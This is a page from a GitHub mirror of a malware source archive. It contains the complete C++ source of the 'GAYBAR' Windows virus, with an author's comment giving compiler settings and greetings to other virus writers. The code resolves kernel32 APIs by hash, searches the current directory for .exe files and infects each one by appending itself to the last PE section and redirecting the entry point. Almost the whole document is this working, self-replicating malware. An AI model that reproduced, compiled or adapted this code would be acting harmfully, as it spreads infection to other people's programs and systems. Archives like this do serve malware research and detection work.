mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
421 lines
14 KiB
NASM
421 lines
14 KiB
NASM
|
|
|||
|
/*
|
|||
|
|
|||
|
Welcome to the GAYBAR<EFBFBD><EFBFBD><EFBFBD> (from ikx industries)
|
|||
|
-================================================-
|
|||
|
|
|||
|
Technically, this virus has nothing new. It's a very old school virus that appends
|
|||
|
its code to the last section and modifies the entry point in the PE header. It
|
|||
|
browses the import table in order to find the kernel address and imports APIs by CRC.
|
|||
|
The virus is about 1200 bytes long. It's a bit big for a virus of this kind and it
|
|||
|
requires some optimization. The main idea is that it was written in 100% c++ to take
|
|||
|
advantage of the use of classes. No assembly file or special linking is needed. It
|
|||
|
does everything just as a standard assembly virus would do. It has no need for
|
|||
|
relocation; it can use global pointers and ignores the delta pointer problem. It was
|
|||
|
compiled using Visual Studio Architect. Just remove the "Buffer Security Check" and
|
|||
|
put it in release mode. (Don<EFBFBD>t forget to put size optimization). It also seems to work
|
|||
|
with Visual Studio 6.0.
|
|||
|
|
|||
|
But, all is not pink in this happy world. There are a few problems. You can't use any
|
|||
|
strings inside the executable. I reconstructed the strings by dropping values into
|
|||
|
buffers as a meta virus would do. (int k[0] = 'xe.*') We are seeking how to solve
|
|||
|
this problem in a better way. Also, it's not really 100% c++ as it still has a stub
|
|||
|
loader that will call the virus body. This part is in assembly and consists of a few
|
|||
|
pushes and a call. This virus might be "portable" to other platforms as long as you
|
|||
|
remedy the stub problem.
|
|||
|
|
|||
|
The point of this virus is to pimp people to the c++ side. A virus can be done within
|
|||
|
a reasonable size using c++, doing almost as well as an assembly virus. I hope this
|
|||
|
creates a new era with future babies coming along.
|
|||
|
|
|||
|
Greets to:
|
|||
|
|
|||
|
Vorgon: You are god, i bow down before you oh master dark lord of VX. My Hero!
|
|||
|
Lifewire: to have pimped me to the c++ side, for the original idea as well as the
|
|||
|
the motivation
|
|||
|
UnderX: to be the 1st to listen to my bragging description
|
|||
|
Griyo: who was the second
|
|||
|
Cecile: Damn, I like you, wanted to dedicate this virus to you but I preferred the
|
|||
|
GAYBAR! jtm
|
|||
|
Morphine: for correcting my english! 10x0r!
|
|||
|
|
|||
|
Welcome to the GAYBAR !!
|
|||
|
|
|||
|
*/
|
|||
|
|
|||
|
#include "stdio.h"
|
|||
|
#include "windows.h"
|
|||
|
#include "PE.hpp"
|
|||
|
|
|||
|
typedef void* __stdcall iGetModuleHandle(char*);
|
|||
|
typedef void* __stdcall iLoadLibraryA(char*);
|
|||
|
typedef HANDLE __stdcall iFindFirstFileA(void*,LPWIN32_FIND_DATA);
|
|||
|
typedef bool __stdcall iFindNextFileA(HANDLE,LPWIN32_FIND_DATA);
|
|||
|
typedef void __stdcall iOutputDebugStringA(char*);
|
|||
|
typedef HANDLE __stdcall iCreateFileA(char*,DWORD,DWORD,DWORD,DWORD,DWORD,HANDLE);
|
|||
|
typedef HANDLE __stdcall iCreateFileMappingA(HANDLE,DWORD,DWORD,DWORD,DWORD,char*);
|
|||
|
typedef void* __stdcall iMapViewOfFile(HANDLE,DWORD,DWORD,DWORD,DWORD);
|
|||
|
typedef void __stdcall iUnmapViewOfFile(void*);
|
|||
|
typedef void __stdcall iCloseHandle(HANDLE);
|
|||
|
typedef DWORD __stdcall iGetFileSize(HANDLE, int);
|
|||
|
|
|||
|
#define LoadLibraryACrc 0x660E91B6
|
|||
|
#define FindFirstFileACrc 0xFACA6F2D
|
|||
|
#define FindNextFileACrc 0x47F9DA21
|
|||
|
#define OutputDebugStringACrc 0xFBDF28B7
|
|||
|
#define CreateFileACrc 0x8DC85CF9
|
|||
|
#define CreateFileMappingACrc 0xA3A46E23
|
|||
|
#define MapViewOfFileCrc 0x505C8F3F
|
|||
|
#define UnmapViewOfFileCrc 0x5239B6AF
|
|||
|
#define CloseHandleCrc 0x4E1ED759
|
|||
|
#define GetFileSizeCrc 0xC37E2502
|
|||
|
|
|||
|
#define vir_size (((int) main - 0x00401000))
|
|||
|
|
|||
|
void __stdcall start(void *ImageBase, void *viruslocation);
|
|||
|
int main(int argc, char **argv);
|
|||
|
|
|||
|
|
|||
|
int iround(int a, int b) { return ((a / b)+1)* b; }
|
|||
|
|
|||
|
// Dumb crc routine, it isn't really crc, less powerful but it's sufficient for
|
|||
|
// apiname checking.
|
|||
|
|
|||
|
DWORD GetAPICrc(char *name)
|
|||
|
{
|
|||
|
DWORD k = 0;
|
|||
|
|
|||
|
for(int i = 0; name[i] != 0; i++)
|
|||
|
k = (k << 3) + (k >> (sizeof(k) -3)) + name[i];
|
|||
|
|
|||
|
return k;
|
|||
|
}
|
|||
|
|
|||
|
class virus
|
|||
|
{
|
|||
|
public:
|
|||
|
|
|||
|
//
|
|||
|
// Api finder, you specify the Address base of the PE and the crc
|
|||
|
// of the address and it will return the address to you. If it fails, it
|
|||
|
// returns 0 and sets a global flag called missed
|
|||
|
//
|
|||
|
|
|||
|
void *GetProcAddressCrc(char *ModuleBase, DWORD APICrc)
|
|||
|
{
|
|||
|
PE_STRUCT *PEheaderBase = (PE_STRUCT *) (ModuleBase + ((DWORD *) (ModuleBase+0x3C))[0]);
|
|||
|
PE_EXPORT_STRUCT *ExportTable = (PE_EXPORT_STRUCT *) ( ModuleBase + PEheaderBase->pe_exportrva);
|
|||
|
|
|||
|
if(PEheaderBase->pe_exportrva != 0)
|
|||
|
{
|
|||
|
// Here you get all the pointers, so once it's found, you only have to
|
|||
|
// grab the data from the table once
|
|||
|
|
|||
|
DWORD* NameTable = (DWORD *) (ModuleBase + ExportTable->ex_namepointersrva);
|
|||
|
WORD* Ordinaltable = (WORD *) (ModuleBase + ExportTable->ex_ordinaltablerva);
|
|||
|
DWORD* AddressTable = (DWORD *) (ModuleBase + ExportTable->ex_addresstablerva);
|
|||
|
|
|||
|
for(int i = 0; i < ExportTable->ex_numofnamepointers; i++)
|
|||
|
{
|
|||
|
if(GetAPICrc((char *) ModuleBase+NameTable[i]) == APICrc)
|
|||
|
return ModuleBase+AddressTable[Ordinaltable[i]];
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
missed = true;
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|
|||
|
// Linked chain
|
|||
|
|
|||
|
struct NameList
|
|||
|
{
|
|||
|
NameList *Previous;
|
|||
|
void *location;
|
|||
|
};
|
|||
|
|
|||
|
//
|
|||
|
// Find the Kernel32 address by browsing the Import Table. It searches for
|
|||
|
// "KERNEL32". If the library isn't KERNEL32, it browses the import
|
|||
|
// table of the library. This is done by using a recursive function. It
|
|||
|
// scans the import table and imports the table of imported libraries, and
|
|||
|
// etc. But, It could cycle :( What if user32.dll points to advapi.dll
|
|||
|
// and advapi.dll points to user32.dll? It would cycle infinitly.
|
|||
|
//
|
|||
|
// I stored a list of already scanned libraries (NameList). Before scanning
|
|||
|
// sub libraries, it checks if the libary hasn't been scanned yet.
|
|||
|
//
|
|||
|
|
|||
|
void *GetK32Address(char *PEImageBase, NameList *List = 0)
|
|||
|
{
|
|||
|
PE_STRUCT *PEheaderBase = (PE_STRUCT *) (PEImageBase + ((DWORD *) (PEImageBase+0x3C))[0]);
|
|||
|
PE_IMPORT_STRUCT *ImportTable = (PE_IMPORT_STRUCT *) (PEImageBase + PEheaderBase->pe_importrva);
|
|||
|
|
|||
|
if(PEheaderBase->pe_importrva != 0)
|
|||
|
{
|
|||
|
char* LibName; // we will scan every name
|
|||
|
|
|||
|
while(PEImageBase + ImportTable->im_name)
|
|||
|
{
|
|||
|
LibName = PEImageBase + ImportTable->im_name;
|
|||
|
|
|||
|
// gets the base address of the library
|
|||
|
WORD **apitable = (WORD **) ((char*) PEImageBase + ImportTable->im_addresstable);
|
|||
|
WORD *location = (WORD *) ((char *) apitable[0] - ((WORD *) apitable)[0]);
|
|||
|
while( location[0] != 'ZM') location = (WORD *) ((char*) location - 0x1000);
|
|||
|
|
|||
|
// it isn't the kernel ?
|
|||
|
if(! ((((DWORD *) LibName)[0] == 'NREK') && (((DWORD *) LibName)[1] == '23LE')))
|
|||
|
{
|
|||
|
bool dosearch = true;
|
|||
|
NameList *item = List;
|
|||
|
|
|||
|
while(item != 0 && dosearch) // have we searched
|
|||
|
{ // this library ?
|
|||
|
if(location == item->location) dosearch = false;
|
|||
|
item = item->Previous;
|
|||
|
}
|
|||
|
|
|||
|
if(dosearch) // if not, it adds the name to the list
|
|||
|
{ // and scans this library
|
|||
|
NameList newitem = { List, location };
|
|||
|
void *retaddr = GetK32Address((char *)location, &newitem);
|
|||
|
if(retaddr != 0) return retaddr;
|
|||
|
}
|
|||
|
}
|
|||
|
else return location;
|
|||
|
|
|||
|
ImportTable = (PE_IMPORT_STRUCT *) ((char *) ImportTable + sizeof(PE_IMPORT_STRUCT));
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|
|||
|
//
|
|||
|
// Searches all the needed api, starting by retrieving kernel32 address
|
|||
|
// from current process import table, if it's found, import all apis. If an
|
|||
|
// api is missed, bool missed has been set to true and it will return false
|
|||
|
//
|
|||
|
|
|||
|
bool Import(void *PEImageBase)
|
|||
|
{
|
|||
|
char *K32Address = (char *) GetK32Address((char *) PEImageBase);
|
|||
|
missed = false;
|
|||
|
|
|||
|
if(K32Address)
|
|||
|
{
|
|||
|
LoadLibraryA = (iLoadLibraryA *) GetProcAddressCrc( K32Address, LoadLibraryACrc);
|
|||
|
FindFirstFileA = (iFindFirstFileA *) GetProcAddressCrc( K32Address, FindFirstFileACrc);
|
|||
|
FindNextFileA = (iFindNextFileA *) GetProcAddressCrc( K32Address, FindNextFileACrc);
|
|||
|
OutputDebugStringA = (iOutputDebugStringA *) GetProcAddressCrc( K32Address, OutputDebugStringACrc);
|
|||
|
CreateFileA = (iCreateFileA *) GetProcAddressCrc( K32Address, CreateFileACrc);
|
|||
|
CreateFileMappingA = (iCreateFileMappingA *) GetProcAddressCrc( K32Address, CreateFileMappingACrc);
|
|||
|
MapViewOfFile = (iMapViewOfFile *) GetProcAddressCrc( K32Address, MapViewOfFileCrc);
|
|||
|
UnmapViewOfFile = (iUnmapViewOfFile *) GetProcAddressCrc( K32Address, UnmapViewOfFileCrc);
|
|||
|
CloseHandle = (iCloseHandle *) GetProcAddressCrc( K32Address, CloseHandleCrc);
|
|||
|
GetFileSize = (iGetFileSize *) GetProcAddressCrc( K32Address, GetFileSizeCrc);
|
|||
|
}
|
|||
|
|
|||
|
return (K32Address && !missed);
|
|||
|
}
|
|||
|
|
|||
|
//
|
|||
|
// Remap the file and in the same way resize the file
|
|||
|
//
|
|||
|
|
|||
|
void Remap(int newsize)
|
|||
|
{
|
|||
|
UnmapViewOfFile(MapAddress);
|
|||
|
CloseHandle(FileMapping);
|
|||
|
FileMapping = CreateFileMapping(File,NULL, PAGE_READWRITE, 0, newsize, 0 );
|
|||
|
MapAddress = (char *) MapViewOfFile( FileMapping, FILE_MAP_ALL_ACCESS, 0, 0, newsize);
|
|||
|
}
|
|||
|
|
|||
|
// drop a push instruction to a memory location
|
|||
|
|
|||
|
void createpush(char *location, int value)
|
|||
|
{
|
|||
|
(location)[0] = (char) 0x68;
|
|||
|
((int *)(location+1))[0] = value;
|
|||
|
}
|
|||
|
|
|||
|
// We got the file maped at (MapAddress), we are going to infect
|
|||
|
// that file
|
|||
|
|
|||
|
void ProcessInfection()
|
|||
|
{
|
|||
|
// check if exe
|
|||
|
if( ((WORD *) MapAddress)[0] == 'ZM' )
|
|||
|
{
|
|||
|
PE_STRUCT *PEheaderBase = (PE_STRUCT *) (MapAddress + ((DWORD *) (MapAddress+0x3C))[0]);
|
|||
|
|
|||
|
// check if PE
|
|||
|
if( ((DWORD *) PEheaderBase)[0] == 'EP' )
|
|||
|
{
|
|||
|
// get lastsection offset
|
|||
|
PE_OBJENTRY_STRUCT *lastsection = (PE_OBJENTRY_STRUCT *)
|
|||
|
((char *) PEheaderBase + sizeof(PE_STRUCT) +
|
|||
|
(PEheaderBase->pe_numofobjects - 1) * sizeof(PE_OBJENTRY_STRUCT));
|
|||
|
|
|||
|
// save information, later we will need to return to host
|
|||
|
// viruspos will be a working variable for now
|
|||
|
int old_entrypoint = PEheaderBase->pe_entrypointrva + PEheaderBase->pe_imagebase;
|
|||
|
int viruspos = max(lastsection->oe_physsize, lastsection->oe_virtsize);
|
|||
|
|
|||
|
// change last section size in physical and memory, change
|
|||
|
// his permission
|
|||
|
lastsection->oe_physsize = iround( viruspos+vir_size, PEheaderBase->pe_filealign);
|
|||
|
lastsection->oe_virtsize = iround( viruspos+vir_size, PEheaderBase->pe_objectalign);
|
|||
|
lastsection->oe_objectflags |= IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ;
|
|||
|
|
|||
|
// set new entry point
|
|||
|
PEheaderBase->pe_entrypointrva = viruspos + lastsection->oe_virtrva;
|
|||
|
int new_entrypoint = PEheaderBase->pe_entrypointrva + PEheaderBase->pe_imagebase;
|
|||
|
int old_imagebase = PEheaderBase->pe_imagebase;
|
|||
|
|
|||
|
// viruspost is now the position where we should drop virus
|
|||
|
viruspos += lastsection->oe_physoffs;
|
|||
|
|
|||
|
// recalculate PE size in memory
|
|||
|
PEheaderBase->pe_imagesize = lastsection->oe_virtrva + lastsection->oe_virtsize;
|
|||
|
// resize file
|
|||
|
Remap(iround(lastsection->oe_physoffs + lastsection->oe_physsize, 128) + 69 );
|
|||
|
|
|||
|
char *virusdest = MapAddress + viruspos;
|
|||
|
|
|||
|
// we are dropping the stub loader
|
|||
|
// we will push on stack old entrypoint
|
|||
|
// two next value will be forwarded to virus
|
|||
|
|
|||
|
createpush(virusdest, old_entrypoint);
|
|||
|
createpush(virusdest+5, new_entrypoint+21);
|
|||
|
createpush(virusdest+10, old_imagebase);
|
|||
|
|
|||
|
// drop call to virus
|
|||
|
(virusdest+15)[0] = (char) 0xE8;
|
|||
|
((int *)(virusdest+16))[0] = ((int) start - 0x00401000)+1;
|
|||
|
|
|||
|
// then ret, who will jump to host
|
|||
|
(virusdest+20)[0] = (char) 0xC3;
|
|||
|
|
|||
|
virusdest += 21;
|
|||
|
|
|||
|
// drop virus here (memcpy didnt worked :()
|
|||
|
for(int i = 0; i < vir_size; i++)
|
|||
|
(virusdest++)[0] = ((char *) VirCode)[i];
|
|||
|
|
|||
|
// drop virus copyright :)
|
|||
|
((__int64*) virusdest)[0] = 0x20656D6F636C6557;
|
|||
|
((__int64*) virusdest)[1] = 0x4720656874206F74;
|
|||
|
((__int64*) virusdest)[2] = 0x2020215241425941;
|
|||
|
((__int64*) virusdest)[3] = 0x334B325D584B495B;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// This function basically opens a file specified in input
|
|||
|
// then maps it. If mapping succeed and finally it ask to
|
|||
|
// ProcessInfection()
|
|||
|
|
|||
|
void infect(char *filename)
|
|||
|
{
|
|||
|
File = CreateFileA(filename, GENERIC_READ | GENERIC_WRITE,
|
|||
|
FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
|
|||
|
|
|||
|
if( File != INVALID_HANDLE_VALUE )
|
|||
|
{
|
|||
|
int FileSize = GetFileSize(File,0);
|
|||
|
FileMapping = CreateFileMapping(File,NULL,PAGE_READWRITE,
|
|||
|
0, FileSize, 0 );
|
|||
|
|
|||
|
if( FileMapping != INVALID_HANDLE_VALUE )
|
|||
|
{
|
|||
|
MapAddress = (char *) MapViewOfFile( FileMapping,
|
|||
|
FILE_MAP_ALL_ACCESS, 0, 0, FileSize);
|
|||
|
|
|||
|
if(MapAddress != 0)
|
|||
|
{
|
|||
|
ProcessInfection();
|
|||
|
UnmapViewOfFile(MapAddress);
|
|||
|
}
|
|||
|
|
|||
|
CloseHandle(FileMapping);
|
|||
|
}
|
|||
|
CloseHandle(File);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
// The real entry point of the virus. Here, we manipulate everything
|
|||
|
// inside the object. It just searches for various *.exe inside the
|
|||
|
// current directory
|
|||
|
|
|||
|
void start_virus(void *PEBase, void *VirusCode)
|
|||
|
{
|
|||
|
if(Import(PEBase))
|
|||
|
{
|
|||
|
WIN32_FIND_DATA datas;
|
|||
|
HANDLE fileresult;
|
|||
|
VirCode = VirusCode;
|
|||
|
char trashbuffer[8];
|
|||
|
|
|||
|
// search for *.exe
|
|||
|
((__int64 *) trashbuffer)[0] = 0x06578652E2A;
|
|||
|
fileresult = FindFirstFileA(trashbuffer, &datas);
|
|||
|
|
|||
|
if(fileresult != INVALID_HANDLE_VALUE) do
|
|||
|
{
|
|||
|
if( (datas.nFileSizeLow % 128) != 69)
|
|||
|
infect(datas.cFileName);
|
|||
|
}
|
|||
|
while(FindNextFile(fileresult, &datas));
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
/*
|
|||
|
* The Api Table
|
|||
|
*
|
|||
|
******************/
|
|||
|
|
|||
|
iLoadLibraryA* LoadLibraryA;
|
|||
|
iFindFirstFileA* FindFirstFileA;
|
|||
|
iFindNextFileA* FindNextFileA;
|
|||
|
iOutputDebugStringA* OutputDebugStringA;
|
|||
|
iCreateFileA* CreateFileA;
|
|||
|
iCreateFileMappingA* CreateFileMappingA;
|
|||
|
iMapViewOfFile* MapViewOfFile;
|
|||
|
iUnmapViewOfFile* UnmapViewOfFile;
|
|||
|
iCloseHandle* CloseHandle;
|
|||
|
iGetFileSize* GetFileSize;
|
|||
|
|
|||
|
// functions
|
|||
|
|
|||
|
bool missed;
|
|||
|
|
|||
|
HANDLE File;
|
|||
|
HANDLE FileMapping;
|
|||
|
char *MapAddress;
|
|||
|
void *VirCode;
|
|||
|
};
|
|||
|
|
|||
|
// This creates an instance of object virus on the stack, and then calls the
|
|||
|
// virus. The global variable inside the class will be taken from the stack
|
|||
|
// and not from data
|
|||
|
|
|||
|
void __stdcall start(void *ImageBase, void *viruslocation)
|
|||
|
{
|
|||
|
virus A;
|
|||
|
A.start_virus(ImageBase, viruslocation);
|
|||
|
}
|
|||
|
|
|||
|
// this will fake the stub loader and call our virus
|
|||
|
|
|||
|
int main(int argc, char **argv)
|
|||
|
{
|
|||
|
int k = vir_size;
|
|||
|
start((void*) 0x00400000, (void *) 0x00401000);
|
|||
|
printf("welcome to the Gaybar: %i\n", k);
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|